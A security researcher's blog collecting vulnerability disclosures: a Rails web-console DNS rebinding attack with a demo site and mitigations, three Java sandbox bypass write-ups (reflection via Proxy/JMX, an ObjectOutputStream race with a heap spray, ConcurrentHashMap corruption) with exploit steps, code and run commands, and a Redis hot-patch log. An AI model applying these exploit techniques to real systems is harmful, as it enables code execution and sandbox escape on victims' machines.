Ben's Blog

Developer Musings

Rails Webconsole DNS Rebinding

The webconsole gem which ships with the Rails development server allows remote code execution via DNS Rebinding. I reported this issue to Rails on April 20th 2015. However, it may have been reported to them earlier because Homakov also found the issue independently and tweeted about it here:

Since this issue is semi-public I think it is better that the problem is made public before waiting for a fix that may never appear. It also important to note that many developer set ups are probably not vulnerable because they are using Pow to run Rails applications or their upstream DNS servers apply DNS rebinding protection.

The problem is same origin policy in browsers is broken for IP based security unless the server checks the Host header is what it expects it to be. And it looks like rails development mode does not do any checking of the Host header to see that the header is 127.0.0.1 or localhost.

The attack looks something like this:

  1. Attacker tricks user into going to a website they control. For example reallycoolflashgame.com (nothing looks suspicious..)
  2. Attacker opens an iframe to sdjhskdf87.reallycoolflashgame.com:3000 (SOP policy is based on the port number and we open this in an iframe so we don’t tip off the user that something suspicious is going on)
  3. sdjhskdf87.reallycoolflashgame.com is a DNS record with a really short TTL. For example 60 seconds. Attacker then changes the DNS record to point from their IP address to 127.0.0.1
  4. The original html page at sdjhskdf87.reallycoolflashgame.com:3000 starts making XHR requests after the TTL has expired. These requests get routed to the rails app and they can trigger the debug functionality remotely.

I have a website that simulates this attack. If you visit this website on OSX and it starts the Calculator.app then you are definitely vulnerable. However, if it does not work then that might be because the attack is buggy and is not proof that you don’t have a vulnerable setup.

  1. create a new rails project with rails new demo
  2. cd demo; rails server
  3. go to http://www.dnsrebinder.net/ in your browser
  4. You will have to wait about 60-80 seconds and if you are running OSX it will pop a calculator. If you are running something else it won’t do anything useful :(. You can monitor what is happening in Chrome Developer tools. If you see a request that generates a 404 this is evidence that the DNS rebinding was successful.

It might not work if your router or upstream DNS provider is filtering private ip ranges in DNS lookups. So you might have to set your DNS server to point to 8.8.8.8 (google DNS).

Mitigations

  1. Remove webconsole gem from your Gemfile.
  2. Use pow.cx which hosts your Rails application under the .dev domain namespace and do not spawn Rails applications using the ‘rails server’ command.
  3. Use a DNS server that applies DNS rebinding filtering. It is important that it filters 127.0.0.0/8 and the IPV6 local addresses. In particular Rails5 Puma only binds to the IPV6 local address under OSX.

Update

The same vulnerability effect the better errors gem. Thanks to @mikeycgto for the pointer.

ZDI-13-XXX (2013) Java Sandbox Bypass (1.7.0_10) / (1.6.0_38) via Proxy and JMX

This is part of a series of posts detailing Java Sandbox Bypasses that were disclosed between 2012-2013. You can view the other bugs by going back to the original post.

The last two vulnerabilities I wrote up ( ZDI-13-246, ZDI-13-075) involved heap spraying so were not 100% reliable. Most of my sandbox bypasses against the JVM did not use memory corruption or heap spraying so were 100% reliable. These reliable sandbox bypasses fell into two main categories:

First there were vulnerabilites that would try to create a chain from privileged code to a ‘dangerous’ function without touching any user frames. Java uses stack walking to decide whether a dangerous function (System.setSecurityManager(null), Runtime.execute) is allowed to proceed so if you could create a chain then you could subvert the protection.

Second there were vulnerabilities that got access to methods in the ‘protected packages’. After getting access to these packages it is usually trivial to escalate out of the sandbox because it is assumed user code cannot access these methods. Access to these packages usually involved abusing reflection or parts of the JDK that used reflection but did not do so securely. This vulnerability which has existed at least since Java 5 is a good example of abusing reflection to access privileged packages.

This bug is interesting because there is no ZDI public disclosure for it. I suspect this is because Adam Gowdiak disclosed it to Oracle first. Looking back I also suspect I may have sniped this vulnerability from Adam Gowdiak. Gowdiak seems to have a habit of partially publicly disclosing Java bugs before they are fixed. Another bug I disclosed to ZDI, ZDI-13-079 was based on a post he made to the full disclosure mailing list and I definitely sniped this bug from him. I can’t remember the exact details about how I found this bug but I remember Gowdiak made a presentation where he said ‘com.sun.xml.internal.bind.v2.model.nav.Navigator’ was an interesting class. It is possible that I was able to reverse the underlying bug from this.

Vulnerabilies

Three vulnerabilities are used to bypass the sandbox.

  1. Accessing Class instances in protected packages.
  2. Reading fields on interfaces in protected packages.
  3. Getting access to java.lang.reflect.Method for interface methods in protected packages.

Loading Classes in Protected Packages

The JmxMBeanServer class allows you to load classes from protected packages. This isn’t possible in Java 6.

server = JmxMBeanServer.newMBeanServer("", null, null, true);
server.getMBeanInstantiator().findClass(className, (ClassLoader)null);

findClass in MBeanInstantiator ends up calling loadClass(className, null) which will end up performing Class.forName(className).

MBeanInstantiator.loadClasslink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static Class<?> loadClass(String className, ClassLoader loader)
    throws ReflectionException {

    Class<?> theClass;
    if (className == null) {
        throw new RuntimeOperationsException(new
            IllegalArgumentException("The class name cannot be null"),
                          "Exception occurred during object instantiation");
    }
    try {
        if (loader == null)
            loader = MBeanInstantiator.class.getClassLoader();
        if (loader != null) {
            theClass = Class.forName(className, false, loader);
        } else {
            theClass = Class.forName(className);
        }
    } catch (ClassNotFoundException e) {
        throw new ReflectionException(e,
        "The MBean class could not be loaded");
    }
    return theClass;
}

Reading Fields on Interfaces in Protected Packages

If you call Proxy.getProxyClass(null, new Class[]{targetClass}) then the generated proxy class will have all the fields from the targetClass. Because the generated proxy class is not in a protected package user code can then call proxyClass.getFields() which will give back the java.lang.reflect.Field object and because the field is public call Field#get will succeed. The proxy class successfully loads because it is defined the root class loader.

Getting Access to Method objects for Interface Methods in Protected Packages

This uses a similar vulnerability as above. You can think of the Proxy instance as a machine that will convert Method objects into Method objects for a particular interface. If you look at proxyClass.getDeclaredMethods() for com.sun.xml.internal.bind.v2.model.nav.Navigator you will see something like:

public final boolean $Proxy0.isFinal(java.lang.Object)
public final boolean $Proxy0.isArray(java.lang.Object)
..

If you call $Proxy0.isFinal(java.lang.Object) then it will convert this Method into Navigator.isFinal(java.lang.Object) before passing it to the InvocationHandler.

To access a Method on an interface in a protected package all you have to do is create an InvocationHandler that will save the Method then invoke the corresponding public method on the proxy class.

Once an attacker has access to the Method then they are free to invoke it because the Method is public and no more access checks are performed.

Exploit

  1. We use the JMX class loading vulnerability to load the class "com.sun.xml.internal.bind.v2.model.nav.Navigator".
  2. We then use the field reading vulnerability to read the REFLECTION field from the interface.
  3. We then use the interface method vulnerability to read the getDeclaredMethods(Object o) method from the Navigator class.

Now that we have a way of getting Methods from a protected Class (getDeclaredMethods) and a way of loading protected classes (JMX vulnerability) we can easily subvert the JVM sandbox. There is probably 100 ways of doing this because once you can execute arbitrary static methods in the protected packages it is game over for the JVM. We will use a technique similar to the one disclosed in ZDI-13-159 in order to disable the sandbox except we will modify it slightly so it only uses JDK 6 classes.

  1. We use com.sun.xml.internal.bind.v2.ClassFactory#create(Class) to create a sun.reflect.ReflectionFactory$GetReflectionFactoryAction
  2. We use com.sun.xml.internal.ws.api.server.InstanceResolver#createSingleton to create an InstanceResolver object
  3. We use com.sun.xml.internal.ws.api.server.InstanceResolver#createInvoker to create an Invoker object
  4. We use com.sun.xml.internal.ws.api.server.Invoker#invoke to invoke AccessController#doPrivileged with the PrivilegedAction in step 1 to create a ReflectionFactory object.
  5. We invoke sun.reflect.ReflectionFactory#newField with parameters that correspond to the Statement#acc field
  6. We invoke sun.reflect.ReflectionFactory#newFieldAccessor with the new field object.
  7. We create a Statement object that executes System.setSecurityManager(null);
  8. We invoke sun.reflect.FieldAccessor#set(Object, Object) with a Statement object we have created and a AccessControlContext that gives us all permissions
  9. We execute the Statement which disables the JVM security.

Exploit Java 6

We use the same technique as above but we use the XSLT class loading hack disclosed in ZDI-13-159 to load the classes because this works in Java 6.

Testing (Java 7)

The POC is available from Github

java -Djava.security.manager ProxyAbuse or appletviewer test.html

It will try and print the users home directory and execute an apple script that will say some stuff.

Testing (Java 6)

The POC is available from Github

java -Djava.security.manager Harness or appletviewer test.html

It will try and print the users home directory and execute an apple script that will say some stuff.

Fixes

User code probably shouldn’t be able to load Proxy Classes in the bootstrap class loader.

ZDI-13-246 (2013) Java 1.7.0_15 Sandbox Bypass via ObjectOutputStream

This is part of a series of posts detailing Java Sandbox Bypasses that were disclosed between 2012-2013. You can view the other bugs by going back to the original post.

This is my favourite bug because it takes two read primitives (no memory corruption) and converts them into a full sandbox bypass. The primitives are read some memory as an integer and read some memory as an object reference. This lets us find out the address of a Class object and ultimately build up a fake object that we can read.

It also shows how difficult it is to protect the JVM against hostile code because hostile code is able to create arbitrary threads and generate data races. This particular data race would probably be between 1 or 2 instructions if the JIT was active so it shows that any data race no matter how narrow should be exploitable on the JVM. This is made easier by the fact that as an attacker you can control a lot of the JVM options. For example you can force the JVM to run in interpreted mode which gives you a larger instruction window to race against. Also, you can tweak the GC options and have a lot of control over the heap size which helps with reliability of the heap spray used in this exploit.

We also see that a helpful maintainer has left a comment pointing out the vulnerability :)

This is a full sandbox bypass for Java 6 and Java 7. I’ve tested it on Java 1.7.0_15 and Java 1.6.0_38 on a single core 64 bit machine. The exploit will only work against 64 bit compressed oops memory architecture and 32 bit memory architecture. It will not work against normal 64 bit architecture. By default java after 1.6.0_23 will use compressed oops on a 64 bit machine.

Vulnerability

This exploits a data race between reading the current serialized object and the description for the current serialized object in the ObjectOutputStream class. When in a writeObject method an attacker can call writeObject on the ObjectOutputStream on a different thread which will change the current serialized context. It is possible for the following order to happen:

/* Thread 1: gets old object */
defaultWriteObject (435): curObj = curContext.getObj();

/* Thread 2: writes new object and object description */
writeSerialData (1478):  curContext = new SerialCallbackContext(obj, slotDesc);

/* Thread 1: gets new object description -oh noes- */
defaultWriteObject (436): curDesc = curContext.getDesc();

You have to run the particular call pattern thousands and thousands of times to get lucky enough for this to happen. But it can happen :)

defaultWriteObject

1
2
3
4
5
6
7
8
9
10
431     public void defaultWriteObject() throws IOException {
432         if ( curContext == null ) {
433             throw new NotActiveException("not in call to writeObject");
434         }
435         Object curObj = curContext.getObj();
436         ObjectStreamClass curDesc = curContext.getDesc();
437         bout.setBlockDataMode(false);
438         defaultWriteFields(curObj, curDesc);
439         bout.setBlockDataMode(true);
440     }

defaultWriteFields

1
2
3
4
5
1503    private void defaultWriteFields(Object obj, ObjectStreamClass desc)
1504        throws IOException
1505    {
1506        // REMIND: perform conservative isInstance check here?
1507        desc.checkDefaultSerialize();

writeSerialData

1
2
3
4
5
6
7
8
9
10
11
12
13
1477                try {
1478                    curContext = new SerialCallbackContext(obj, slotDesc);
1479                    bout.setBlockDataMode(true);
1480                    slotDesc.invokeWriteObject(obj, this);
1481                    bout.setBlockDataMode(false);
1482                    bout.writeByte(TC_ENDBLOCKDATA);
1483                } finally {
1484                    curContext.setUsed();
1485                    curContext = oldContext;
1486                    if (extendedDebugInfo) {
1487                        debugInfoStack.pop();
1488                    }
1489                }

And in the #defaultWriteFields method we also have a ‘REMIND’ comment asking whether we should do the isInstance check which I believe would fix this exploit. In ObjectInputStream there is an isInstance check which prevents a similar exploit working for the ObjectInputStream. Which is kind of annoying because being able to do arbitrary writes in the JVM is more fun than being able to arbitrary reads.

This mismatch between the object and the object descriptor is a problem because the ObjectStreamClass uses the Unsafe class to read values from memory. This is fine when that descriptor and object match but when they don’t match the JVM can be tricked into interpreting object references as integer values or integer values as object references :)

getPrimFieldValues

1
2
1924                    case 'I':
1925                        Bits.putInt(buf, off, unsafe.getInt(obj, key));

getObjFieldValues

1
2017                    vals[offsets[i]] = unsafe.getObject(obj, readKeys[i]);

Exploit

The POC is available from Github

The race condition is triggered by supplying a custom writeObject method for the class we want to reinterpet. This method will look something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void writeObject(final ObjectOutputStream oos) throws Exception {

  final CountDownLatch latch = new CountDownLatch(1);

  Thread th = new Thread(new Runnable() {

    @Override
    public void run() {
      try {
        oos.writeObject(new ShadowInt(latch));
      } catch (Throwable th) {
        // ignore
      }

    }

  });
  th.start();
  try {
    start.await();
    oos.defaultWriteObject();
  } finally {
    latch.countDown();
  }
  try {
    th.join();
  } catch (InterruptedException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
  }

}
  }

We spawn a Thread that will perform a writeObject call with an instance of the target class we want the original class to be reinterpreted as.

This class will also implement the writeObject method and will use it wait until the origin object has completed its defaultWriteObject() call before returning. This ensures the new context will be available for the original object. Otherwise, the new context might be removed before the original object has a chance to use it. It will look something like this:

1
2
3
4
5
6
7
8
private void writeObject(ObjectOutputStream oos) {
  try {
    latch.await();
  } catch (InterruptedException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
  }
}

The goal of the exploit is to build up a fake object of type FakeMe which will have a field of type EvilClassLoader which will point to a normal ClassLoader.

1
2
3
  public static class FakeMe implements Serializable {
    private int magic = 0xDEADBEEF;
    private EvilClassLoader o;

The JVM memory layout of an object looks something like this:

-----------------------------------------------------------
| Header 4/8 bytes depending on 32bit/64bit               |
----------------------------------------------------------|
| Class word 4/8 bytes depending on 32bit,64bit-oops/64bit|
-----------------------------------------------------------
| Maybe some padding                                      |
-----------------------------------------------------------
| Field 1                                                 |
-----------------------------------------------------------
| etc..                                                   |
-----------------------------------------------------------

The first thing we need to do is find the class word. To do this we create an EatMe class which doesn’t have any fields but using the race condition we will try and make it look like the ClassCatcher class which has 40 int fields in it. We then spray the heap with a bunch of FakeMe classes. Hopefully, the JVM will read off the end of the ClassCatcher class and into the memory of the FakeMe class. If it serializes a bit of the FakeMe class then the serialized data is going to look like:

[Some Crap] [Class Header] [Class Word] 0xDEADBEEF [Some Crap]

We can just search for DEADBEEF in the serialized data and if it is there then we have recovered the Class word.

The next thing we need is an address of a ClassLoader object and the address of an object that we can point inside of and re-interpret as a FakeMe object. For the re-interpeting object I chose an array of int. We store the ClassLoader and array of int in the ObjectHolder object and use the race condition to reinterpret it as a ShadowInt class. The ShadowInt object’s fields are integers that allow us to read the address of the fields in the ObjectHolder object.

Now we have the addresses of the array of int and a classloader object we can create our fake object.

The JVM memory layout of an array of int looks something like this:

-----------------------------------------------------------
| Header 4/8 bytes depending on 32bit/64bit               |
----------------------------------------------------------|
| Class word 4/8 bytes depending on 32bit,64bit-oops/64bit|
-----------------------------------------------------------
| Length 4 bytes                                          |
-----------------------------------------------------------
| Int at index 0 (4 bytes)                                |
-----------------------------------------------------------
| Int at index 1 (4 bytes)                                |
-----------------------------------------------------------
| Int at index 2 (4 bytes)                                |
-----------------------------------------------------------
| Int at index 3 (4 bytes)                                |
-----------------------------------------------------------
| etc..                                                   |
-----------------------------------------------------------

So on 64 bit with compressed pointers we store the object header in the first two integers, the class word in the third integer and the reference to the class loader in the fourth integer. It will look something like this:

-----------------------------------------------------------
| Header 4/8 bytes depending on 32bit/64bit               |
----------------------------------------------------------|
| Class word 4/8 bytes depending on 32bit,64bit-oops/64bit|
-----------------------------------------------------------
| Length 4 bytes                                          |
-----------------------------------------------------------
| Object Header Part 1                                    |
-----------------------------------------------------------
| Object Header Part 2                                    |
-----------------------------------------------------------
| FakeMe Class Word                                       |
-----------------------------------------------------------
| Reference to ClassLoader                                |
-----------------------------------------------------------

The address of this fake object will be 16 bytes following the address of the array on 64 bit with compressed pointers. However, when we store this address somewhere we need to convert it to a compressed pointer. This is done by using an offset of 2 from the address of the array (which is already a compressed pointer) instead of 16 because compressed pointers effectively multiply the address by 8. Very strangely on Linux and windows compressed oops don’t appear to be compressed and an offset of 16 instead of 2 needs to be used. I only see properly compressed oops under OSX [1].

Finally we use the IntHolder object to store the address of the fake object and use the race condition to re-inerpret it as a ShadowObject. The ShadowObject has a single object field so the address originally stored as an integer will be interpreted as an object reference. The ObjectOutputStream will then try to serialize it and FakeMe implements the writeObject method so it will be able to use the ClassLoader reference to define an Evil class with AllPermission which will disable the JVM sandbox. The source code for the Evil class is in Evil.java

Testing

java -Xint -XX:+UseSerialGC -Xms256m -Xmx256m -Xnoclassgc -Djava.security.manager Ser2

or appletviewer -J-Xint -J-XX:+UseSerialGC -J-Xms256m -J-Xmx256m -J-Xnoclassgc test.html

command line appletviewer needs -Xint and other parameters because it ignores the jvm args applet parameter. firefox and ie both correctly handles the -Xint and other parameters.

Applet Deployment Parameters

If the exploit works you will get output like this:

using arch: OOPS64
readclassaddress:0
found magic with: 528/528
got class address: 564408075
readaddress:0/0
found magic with: 51/64
found addresses: [574680158, 584221623]
readObject:0
FAKEME!
disabled security manager
/Users/ben
java.io.IOException: Cannot run program "calc.exe": error=2, No such file or directory
        at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
        at Ser2.init(Ser2.java:546)
        at Ser2.main(Ser2.java:531)
Caused by: java.io.IOException: error=2, No such file or directory
        at java.lang.UNIXProcess.forkAndExec(Native Method)
        at java.lang.UNIXProcess.<init>(UNIXProcess.java:135)
        at java.lang.ProcessImpl.start(ProcessImpl.java:130)
        at java.lang.ProcessBuilder.start(ProcessBuilder.java:1021)
        ... 2 more

This exploits depends on a race condition that may be difficult to reproduce. We force the applet to run in interpreted mode to increase the chance of running into the race condition.

This exploit depends on the memory layout of the JVM and is not as reliable as other exploits. It also appears that the compressed OOP format is different on Windows and Linux when compared to OSX [1]. The exploit will try to determine what format it should put the compressed OOPs in but it could guess wrong in which case the exploit is likely to crash or just not work.

The exploit will try and print out user.home and run an apple script that will say some stuff and run calc.exe.

(1): So for compressed OOPS and small heaps < 4GB (maybe it needs to be smaller) you don’t need to perform a shift so apparently on Linux and Windows JVM the shift was skipped but on OSX the shift was still being performed.

ZDI-13-075 (2013) Java 1.7.0_09 Sandbox Bypass via ConcurrentHashMap

I’ve decided to publish the write ups for some of the Java Sandbox bypasses I disclosed to ZDI between 2012 and 2013. In total I believe there were 20 vulnerabilities:

  • ZDI-13-002
  • ZDI-13-041
  • ZDI-13-040
  • ZDI-13-XXX
  • ZDI-13-159
  • ZDI-13-160
  • ZDI-13-132
  • ZDI-13-075
  • ZDI-13-042
  • ZDI-13-089
  • ZDI-13-246
  • ZDI-13-079
  • ZDI-13-244
  • ZDI-13-245
  • ZDI-13-247
  • ZDI-13-248
  • ZDI-13-248
  • ZDI-14-105
  • ZDI-14-103
  • ZDI-14-104

I’m going to try and publish the more interesting ones first. I find this one involving ConcurrentHashMap interesting because it shows how difficult Java security is to get correct. The bug was introduced by Doug Lea and the commit introducing the bug was also reviewed by another person. If Doug Lea can’t write secure code what hope is for us mere mortals.

This bug also illustrates exploiting memory corruption by heap spraying in Java and methods to increase the reliability of a heap spray. Most of the vulnerabilities I found in Java did not involve heap corruption so were much more reliable.

Vulnerability

In Java 7 java.util.concurrent.ConcurrentHashMap was changed to make it go faster (?) by replacing array accesses like segments[x] to UNSAFE.getObjectVolatile(segments, SBASE + x << SHIFT).

This is the changeset from jdk source control that explains the change:

changeset:   4021:005c0c85b0de
user:        dl
date:        Mon Apr 18 16:10:40 2011 +0100
summary:     7036559: ConcurrentHashMap footprint and contention improvements

Sun Bug

We will use the put method from ConcurrentHashMap in our vulnerability. The method looks like:

1
2
3
4
5
6
7
8
9
10
11
12
@SuppressWarnings("unchecked")
public V put(K key, V value) {
    Segment<K,V> s;
    if (value == null)
        throw new NullPointerException();
    int hash = hash(key);
    int j = (hash >>> segmentShift) & segmentMask;
    if ((s = (Segment<K,V>)UNSAFE.getObject          // nonvolatile; recheck
         (segments, (j << SSHIFT) + SBASE)) == null) //  in ensureSegment
        s = ensureSegment(j);
    return s.put(key, hash, value, false);
}

The (hash >>> segmentShift) & segmentMask line ensures that the offset into the array is valid. Both of these values are final fields and are initialized in the constructor to the correct values. Unfortunately, this class is Serializable and the readObject method does s.defaultReadObject() and does no checking of these fields. This means an attacker can set these two values to whatever he wants. For example he can set segmentShift to 0 and segmentMask to 0xFFFFFFFF and then the value of hash will be unchanged by the (hash >>> segmentShift) & segmentMask operation. if the value of hash is larger than the array then the JDK will try to do a memory write past the array.

POC Code

The POC code is available from Github.

In the attack we create a serialized ConcurrentHashMap with segmentShift set to 0 and segmentMask set to 0x40000. The idea behind using 0x40000 is so the calculated offset will either be 0 or 262144. When the offset is 0 the hash map works correctly and doesn’t do anything weird. When the value is 262144 it will write past the end of the segments array and hopefully it will write where we want it to write. The class Make is used to generate the byte array for this object as well as the byte array for the Evil class I will cover later on.

Next we deserialize this object in the sandboxed class. We then run a gc cycle and sleep. This massively improves the chance of the exploit succeeding. I suspect this is because the array that I allocate to catch the write is more likely to appear after the ConcurrentHashMap in memory and also more likely to be closer to the ConcurrentHashMap in memory. If the segs array is > (262144 * bytes) bytes away in memory from the segments array in the concurrent hash map object then the exploit will fail and probably crash when it tries to read an object and it is not properly aligned. The exploit will also fail if the segs array is located before the ConcurrentHashMap’s segment array in memory.

Next we allocate a big array of Segs to try to catch the write that ConcurrentHashMap does. The Seg class has the exact same structure as ConcurrentHashMap.Segment does. It also contains a HEntry class which has the exact same structure as ConcurrentHashMap.HashEntry. One major difference is HEntry value field is typed EvilClassLoader while ConcurrentHashMap.HashEntry value field is typed Object.

Next we call on the put method on ConcurrentHashMap. This will hopefully either write to the 0th segment in ConcurrentHashMap or write into our array of Segs.

As the value to the put call we use a ClassLoader object. The hope is that will end up with a HEntry object that has a value filled in with a ClassLoader object but which is typed EvilClassLoader. Our EvilClassLoader object has a static method which can be used to define classes with arbitrary protection domains. Normally the JVM will not let you create an EvilClassLoader object because it can subvert the sandbox. There is a check in the ClassLoader’s constructor to prevent you from doing this. But if the JVM gets confused about types because of a naughty UNSAFE.putObjectVolatile then we can trick the JVM into believing a ClassLoader is really an EvilClassLoader and we can call our evil methods on the ClassLoader instance.

If we can get an object typed EvilClassLoader then it is game over because we can load the Evil class which has a method ‘disable’ which disables the security manager. The disable method will succeed because it does AccessController.doPrivileged and it has the AllPermission we added using the EvilClassLoader’s defineClass method.

We repeat the calls to the put method with different String values because the jvm hashing algorithm is randomized and we can get unlucky and repeatedly get offset values of 0. I believe at the time Java was using Murmur/Murmur2 + mixed in secret key in order to protect against HashDoS and it was easier to just keep generating different strings than to try and reverse the secret key.

Testing

java -Djava.security.manager CHM

or

appletviewer test.html

It will print out “user.home” system property and try to run calc.exe

I’ve tested this with latest jdk 1.7.0_09 on windows 7 and mac osx. If you have trouble getting it working segmentMask in Make.java (need to copy bytes to INPUT field in CHM.java after making change) and the size of segs array in CHM.java can be tweaked.

Redis Hot Patch

The arbitrary read and arbitrary write from the Lua vulnerability makes it quite easy to patch the vulnerability itself. I have written a proof of concept that should work on OSX Yosemite with any of the Homebrew bottled Redis versions that are vulnerable. It should also work on Mavericks and other compiled versions of Redis but I have not tested it on them (on versions other than Yosemite it may crash if the format of the long jump buffer is not the same). The Hot Patcher looks for the instruction cmp r15, 0x1b and replaces it with ‘cmpq rsp,0x1b’. This comparison should never be true because the stack typically lives around 0x7fxxxxxxxxxxxxxx and will never reach such a low address. However, looking for this exact instruction makes the patcher quite brittle and it may not work on Redis versions compiled with different compilers.

The Hot Patcher proof of concept uses the CSRF technique to run so you can run it directly from your browser. However, before running it you should understand:

  • it may crash your Redis server and you may lose your data (i think the exploit used to crash when the shellcode was allocated across two pages and i was only mprotect'ing the bottom page. but if this wasn’t the cause of the crash then the exploit is still flakey. or there could still be bugs.)
  • it might not crash your Redis server but may silently corrupt the data in your Redis server
  • you MUST own the Redis server running on 127.0.0.1:6379
  • this is not a full fix for the Lua sandbox bypass and only disables the loading of bytecode
  • it does not permanently patch Redis and the patch will be reverted after a restart
  • it is probably better to write a script for GDB to do the live patching. But I don’t understand GDB scripting :(

It is best to run the Redis server from your terminal then you can see the output from the patcher. It should look something like:

Example Output
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
[*] Matches OSX => Darwin 14.3.0 x86_64
[*] 64 Bit
[*] Loading byte code supported
[*] found macho base address: 000000010c9c2000
[*] found segment: __PAGEZERO => 0000000000000000/0000000000000000
[*] found segment: __TEXT => 0000000100000000/0000000000000000
[*] found segment: __DATA => 0000000100066000/0000000000066000
[*] found segment: __LINKEDIT => 0000000100080000/000000000006b000
[*] parsed_symbol ___assert_rtn => 2:224
[*] parsed_symbol ___bzero => 2:232
[*] parsed_symbol ___error => 2:240
[*] parsed_symbol ___maskrune => 2:248
[*] parsed_symbol ___memcpy_chk => 2:256
[*] parsed_symbol ___snprintf_chk => 2:264
[*] parsed_symbol ___sprintf_chk => 2:272
[*] parsed_symbol ___stack_chk_fail => 2:280
[*] parsed_symbol ___strcat_chk => 2:288
[*] parsed_symbol ___strncat_chk => 2:296
[*] parsed_symbol ___strncpy_chk => 2:304
[*] parsed_symbol ___tolower => 2:312
[*] parsed_symbol ___toupper => 2:320
[*] parsed_symbol ___vsnprintf_chk => 2:328
[*] parsed_symbol __exit => 2:336
[*] parsed_symbol _abort => 2:344
[*] parsed_symbol _accept => 2:352
[*] parsed_symbol _access => 2:360
[*] parsed_symbol _acos => 2:368
[*] parsed_symbol _asin => 2:376
[*] parsed_symbol _atan => 2:384
[*] parsed_symbol _atan2 => 2:392
[*] parsed_symbol _atoi => 2:400
[*] parsed_symbol _backtrace => 2:408
[*] parsed_symbol _backtrace_symbols_fd => 2:416
[*] parsed_symbol _bind => 2:424
[*] parsed_symbol _calloc => 2:432
[*] parsed_symbol _ceil => 2:440
[*] parsed_symbol _chdir => 2:448
[*] parsed_symbol _chmod => 2:456
[*] parsed_symbol _close => 2:464
[*] parsed_symbol _connect => 2:472
[*] parsed_symbol _cos => 2:480
[*] parsed_symbol _cosh => 2:488
[*] parsed_symbol _dup2 => 2:496
[*] parsed_symbol _execve => 2:504
[*] parsed_symbol _exit => 2:512
[*] parsed_symbol _exp => 2:520
[*] parsed_symbol _fclose => 2:528
[*] parsed_symbol _fcntl => 2:536
[*] parsed_symbol _feof => 2:544
[*] parsed_symbol _ferror => 2:552
[*] parsed_symbol _fflush => 2:560
[*] parsed_symbol _fgets => 2:568
[*] parsed_symbol _fileno => 2:576
[*] parsed_symbol _floor => 2:584
[*] parsed_symbol _fmod => 2:592
[*] parsed_symbol _fopen => 2:600
[*] parsed_symbol _fork => 2:608
[*] parsed_symbol _fprintf => 2:616
[*] parsed_symbol _fputc => 2:624
[*] parsed_symbol _fputs => 2:632
[*] parsed_symbol _fread => 2:640
[*] parsed_symbol _free => 2:648
[*] parsed_symbol _freeaddrinfo => 2:656
[*] parsed_symbol _freopen => 2:664
[*] parsed_symbol _frexp => 2:672
[*] parsed_symbol _fstat$INODE64 => 2:680
[*] parsed_symbol _fsync => 2:688
[*] parsed_symbol _ftello => 2:696
[*] parsed_symbol _ftruncate => 2:704
[*] parsed_symbol _fwrite => 2:712
[*] parsed_symbol _gai_strerror => 2:720
[*] parsed_symbol _getaddrinfo => 2:728
[*] parsed_symbol _getc => 2:736
[*] parsed_symbol _getcwd => 2:744
[*] parsed_symbol _getpeername => 2:752
[*] parsed_symbol _getpid => 2:760
[*] parsed_symbol _getprogname => 2:768
[*] parsed_symbol _getrlimit => 2:776
[*] parsed_symbol _getrusage => 2:784
[*] parsed_symbol _getsockname => 2:792
[*] parsed_symbol _getsockopt => 2:800
[*] parsed_symbol _gettimeofday => 2:808
[*] parsed_symbol _inet_ntop => 2:816
[*] parsed_symbol _ioctl => 2:824
[*] parsed_symbol _kevent => 2:832
[*] parsed_symbol _kill => 2:840
[*] parsed_symbol _kqueue => 2:848
[*] parsed_symbol _ldexp => 2:856
[*] parsed_symbol _listen => 2:864
[*] parsed_symbol _localeconv => 2:872
[*] parsed_symbol _localtime => 2:880
[*] parsed_symbol _log => 2:888
[*] parsed_symbol _log10 => 2:896
[*] parsed_symbol _longjmp => 2:904
[*] parsed_symbol _lseek => 2:912
[*] parsed_symbol _malloc => 2:920
[*] parsed_symbol _malloc_size => 2:928
[*] parsed_symbol _memchr => 2:936
[*] parsed_symbol _memcmp => 2:944
[*] parsed_symbol _memcpy => 2:952
[*] parsed_symbol _memmove => 2:960
[*] parsed_symbol _memset => 2:968
[*] parsed_symbol _memset_pattern16 => 2:976
[*] parsed_symbol _modf => 2:984
[*] parsed_symbol _nanosleep => 2:992
[*] parsed_symbol _open => 2:1000
[*] parsed_symbol _openlog => 2:1008
[*] parsed_symbol _perror => 2:1016
[*] parsed_symbol _poll => 2:1024
[*] parsed_symbol _pow => 2:1032
[*] parsed_symbol _printf => 2:1040
[*] parsed_symbol _pthread_attr_getstacksize => 2:1048
[*] parsed_symbol _pthread_attr_init => 2:1056
[*] parsed_symbol _pthread_attr_setstacksize => 2:1064
[*] parsed_symbol _pthread_cancel => 2:1072
[*] parsed_symbol _pthread_cond_init => 2:1080
[*] parsed_symbol _pthread_cond_signal => 2:1088
[*] parsed_symbol _pthread_cond_wait => 2:1096
[*] parsed_symbol _pthread_create => 2:1104
[*] parsed_symbol _pthread_join => 2:1112
[*] parsed_symbol _pthread_mutex_init => 2:1120
[*] parsed_symbol _pthread_mutex_lock => 2:1128
[*] parsed_symbol _pthread_mutex_unlock => 2:1136
[*] parsed_symbol _pthread_setcancelstate => 2:1144
[*] parsed_symbol _pthread_setcanceltype => 2:1152
[*] parsed_symbol _pthread_sigmask => 2:1160
[*] parsed_symbol _putchar => 2:1168
[*] parsed_symbol _puts => 2:1176
[*] parsed_symbol _qsort => 2:1184
[*] parsed_symbol _rand => 2:1192
[*] parsed_symbol _random => 2:1200
[*] parsed_symbol _read => 2:1208
[*] parsed_symbol _realloc => 2:1216
[*] parsed_symbol _rename => 2:1224
